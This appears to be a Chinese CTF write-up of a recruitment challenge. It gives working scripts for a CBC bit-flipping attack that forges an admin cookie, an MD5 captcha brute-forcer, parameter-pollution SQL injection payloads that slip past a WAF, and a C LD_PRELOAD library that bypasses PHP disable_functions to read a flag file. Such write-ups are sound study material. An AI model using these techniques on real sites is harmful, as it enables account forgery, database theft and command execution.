招聘又开始了,又要被火日师傅虐了,运气不错,赶在考试期间还把题目做出来了,遇到了特别神秘的参数污染,还是ll大法无敌…
md5碰撞? 这个类似于验证码的东西已经用了很久了,不知道最早是不是火日师傅出的,但是没想到还有人不知道怎么过这个验证码,就把脚本贴上来吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import randomimport hashlibdef crack_code (code) : str = 10000 while 1 : m2 = hashlib.md5() m2.update(repr(str)) if (m2.hexdigest()[0 :4 ]==code): return str break str+=1 def main () : print crack_code('338f' ) if __name__ == '__main__' : main()
有兴趣可以自己去改改。
cbc字节反转攻击 仔细阅读源码可以发现应该第一步的目的是要登陆admin进去,关键在于这个文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php $pass="test"; function encrypt( $string ) { $algorithm = 'rijndael-128'; $key = md5($pass, true); $iv_length = mcrypt_get_iv_size( $algorithm, MCRYPT_MODE_CBC ); $iv = mcrypt_create_iv( $iv_length, MCRYPT_RAND ); $encrypted = mcrypt_encrypt( $algorithm, $key, $string, MCRYPT_MODE_CBC, $iv ); $result = base64url_encode( $iv . $encrypted ); return $result; } function decrypt( $string ) { $algorithm = 'rijndael-128'; $key = md5($pass, true ); $iv_length = mcrypt_get_iv_size( $algorithm, MCRYPT_MODE_CBC ); $string = base64url_decode( $string ); $iv = substr( $string, 0, $iv_length ); $encrypted = substr( $string, $iv_length ); $result = mcrypt_decrypt( $algorithm, $key, $encrypted, MCRYPT_MODE_CBC, $iv ); $result = rtrim($result, "\0"); if (!preg_match("/^\w+$/",$result)) { $result=""; } return $result; } function base64url_encode($data) { return rtrim(strtr(base64_encode($data), '+/', '-_'), '='); } function base64url_decode($data) { return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT)); } ?>
在登陆的时候会把username encrypt之后放入username,username中的数据是被base64url_decode过的,其中数据应该是32位的,前16位是加密解密用到的位移iv。
跑内容 那么如果我们注册一个差不多的用于,比如cdmin,然后爆破第17个字节,就有可能解出admin来。
下面的脚本是跑17、18的脚本。。。被ban了很多次才跑出来。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 # coding=utf-8 import requestsimport randomimport hashlibimport base64import time s = requests.Session() url="http://451bf8ea3268360ee.jie.sangebaimao.com/admin/index.php" def encode(): pass def test(): dd = "01234567890abcdef" for i in dd[::-1 ]: for j in dd[::-1 ]: for k in dd: for l in dd: data = "b2c92e25b9aecf7da3172573362db773" +i+j+k+l+"62c5ed122de5011c302efb95bafa" data = base64.b64encode(data .decode('hex' )).replace('=' ,'' ).replace('+' ,'-' ).replace('/' ,'_' ).replace('\n' ,'' ) # cookies = {"username" :data ,"path" :"/admin/" ,"domain" :"451bf8ea3268360ee.jie.sangebaimao.com" } headers = {"Cookie" : "username=" +data +"; captcha=od8lgg6f7i71q16j9rd7p7j9a2; username=" +data } r = s.get(url,headers = headers) # print r.text .encode('utf-8' ).__len__() if ((r.text .encode('utf-8' ).__len__()!=29 )&(r.text .encode('utf-8' ).__len__()!=2262 )): print data +" " +repr(r.text .encode('utf-8' ).__len__())+" " +repr(r.text .encode('utf-8' )) def main(): # cookies = {"username" :get_username()} test() if __name__ == '__main__' : main()
嗯。。忘记是不是这个脚本。。。有兴趣可以改改看。。。
跑iv 比赛结束了问aklis司机,他告诉我,他是跑iv出来的,而且跑了一个字节就跑出来了…
贴上脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #!/usr/bin/env python # -*- coding: utf-8 -*- import requestsURL = 'http://451bf8ea3268360ee.jie.sangebaimao.com/admin/' def mb64dec(s): return s.replace('-' ,'+' ).replace('_' ,'/' ).decode('base64' ) def mb64enc(s): return s.encode('base64' ).replace('+' ,'-' ).replace('/' ,'_' ).replace('\n' ,'' ).replace('=' , '' ) encrypted = mb64dec('h3uBfhqPusSYJ5NwxplV3I44UYHc4eR6O97MpNAp0BE==' ) # 1 dminfor i in xrange(256 ): cookie = mb64enc(chr(i) + encrypted [1 :]) res = requests.get (URL, cookies={'username' : cookie}).text print i, cookie, len(res) if (len(repr(res))!=2163 and len(res)!= 29 ): print res.encode('utf-8' )
cbc攻击 后来Hcamael大佬告诉我这个是googlectf出过,cbc第一个字节异或就可以了,可以伪造任意值。。。。害怕
wooyun也有这个的文章 Hcamael的博客
我们先用ddmin注册一个账号,登陆获得username的cookie,然后拿iv的第一个字节和’d’和’a’异或,然后拼接回去,就是admin的cookie,理论上可以伪造任意值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requests import hashlib import base64 import re def fuck_captcha(s): for x in xrange(0, 10000000): y = hashlib.md5(str(x)).hexdigest() if y[:4] == s: return str(x) print "God personality.(%s)" %s exit(1) url = "http://451bf8ea3268360ee.jie.sangebaimao.com/login.php" url2 = "http://451bf8ea3268360ee.jie.sangebaimao.com" req = requests.get (url) c = req.headers['Set-Cookie' ].split(";" )[0] c = c.split("=" ) cookie = {c[0]: c[1]} cap = re.findall("=([a-f0-9]{4})" , req.content)[0] captcha = fuck_captcha(cap) data = {"username" : "ddmin" , "password" : "ddog" , "captcha" : captcha} req = requests.post(url, data =data, cookies =cookie, allow_redirects =False ) c = req.headers['Set-Cookie' ] user = c.split("=" )[1] u = user.replace("-" , "+" ).replace("_" , "/" ) u += "=" * (len(u) % 4) de = base64.b64decode(u) de2 = chr(ord(de[0]) ^ ord('d' ) ^ ord('a' )) + de[1:] en = base64.b64encode(de2).replace("+" , "-" ).replace("/" , "_" ).replace("=" , "" ) print en
参数污染过waf 仔细分析源码可以发现一个很重要的问题。
在waf中,我们很明显看到处理了4个部分
1 2 3 4 wafArr($_GET ) ; wafArr($_POST ) ; wafArr($_COOKIE ) ; wafArr($_SESSION ) ;
但是在user.php中,能发现从$_request[‘id’]获取数据进入sql语句
1 2 $sql="select * from user where id =".$_REQUEST[" id "]." ;"; $result=query($sql);
多问号过waf 我现在构造的语句是id=1&id=4%20and?=2&id=3
让我们来看看在不同位置的输出是什么
先看waf处
能看到只处理了最后的id,应该是参数被覆盖了
然后是从$_REQUEST中获取的参数
发现有2个,并没有后面的
然后是处理之前
最后看$_REQUEST[‘id’]
发现进入查询语句了,感觉还是挺神奇的
#过waf 结束比赛后,讨论的时候发现有很多方法,第一种就是用#过。
如果传入
1 /admin /user .php/#?id=-1 SQL QUERY
在处理时,#一般作为位置的标志符,是不会代入$_GET的,但是在$_REQUEST处理url的时候?后会被处理,这样,就会代入查询,形成注入
空格过waf 因为$_get变量处理同名参数是后面的覆盖前面的,但是这里重写$_REQUEST的时候却是用?,&,=分割的,只要绕过这个分割就可以
1 /admin/user.php?id=-1 SQLQUERY&%20 id=1
通过空格绕过了检查,只处理了后面的
利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令 文章原址
上一部注入没得到什么有效的信息只有一个提示
1 2 3 4 5 6 http://451 bf8ea3268360ee.jie.sangebaimao.com/admin /user .php?id=1 &id=-1 union select 1 ,2 ,3 ,(select contentfrom memo),5 ?=2 &id=3 /NQTGmhlG3im8PUcsO2GgMCieThLtbqi4.php password :firesunflag is at /.
shell的功能很少,尝试发现可以写一个文件进去, move_uploaded_file() 没有被ban,可以写文件,测试了下发现上次遇到的那种方式居然可以,那么写c然后读文件>/tmp/xxx,get flag
不过感觉应该是非预期…才出完没多久就又出了一次。。。
附上c脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #include <stdlib.h> #include <stdio.h> #include <string.h> #include <dirent.h> void payload () { FILE *fp, *fp2; char buf[100 ]; fp = fopen("/tmp/ddog123" , "w" ); fp2 = fopen("/flag_gei_ni_ni_Ye_du_bu_LIAO" , "r" ); fgets(buf, 100 , fp2); fputs (buf, fp); fclose(fp); fclose(fp2); } int geteuid () { if (getenv("LD_PRELOAD" ) == NULL ) { return 0 ; } unsetenv("LD_PRELOAD" ); payload(); }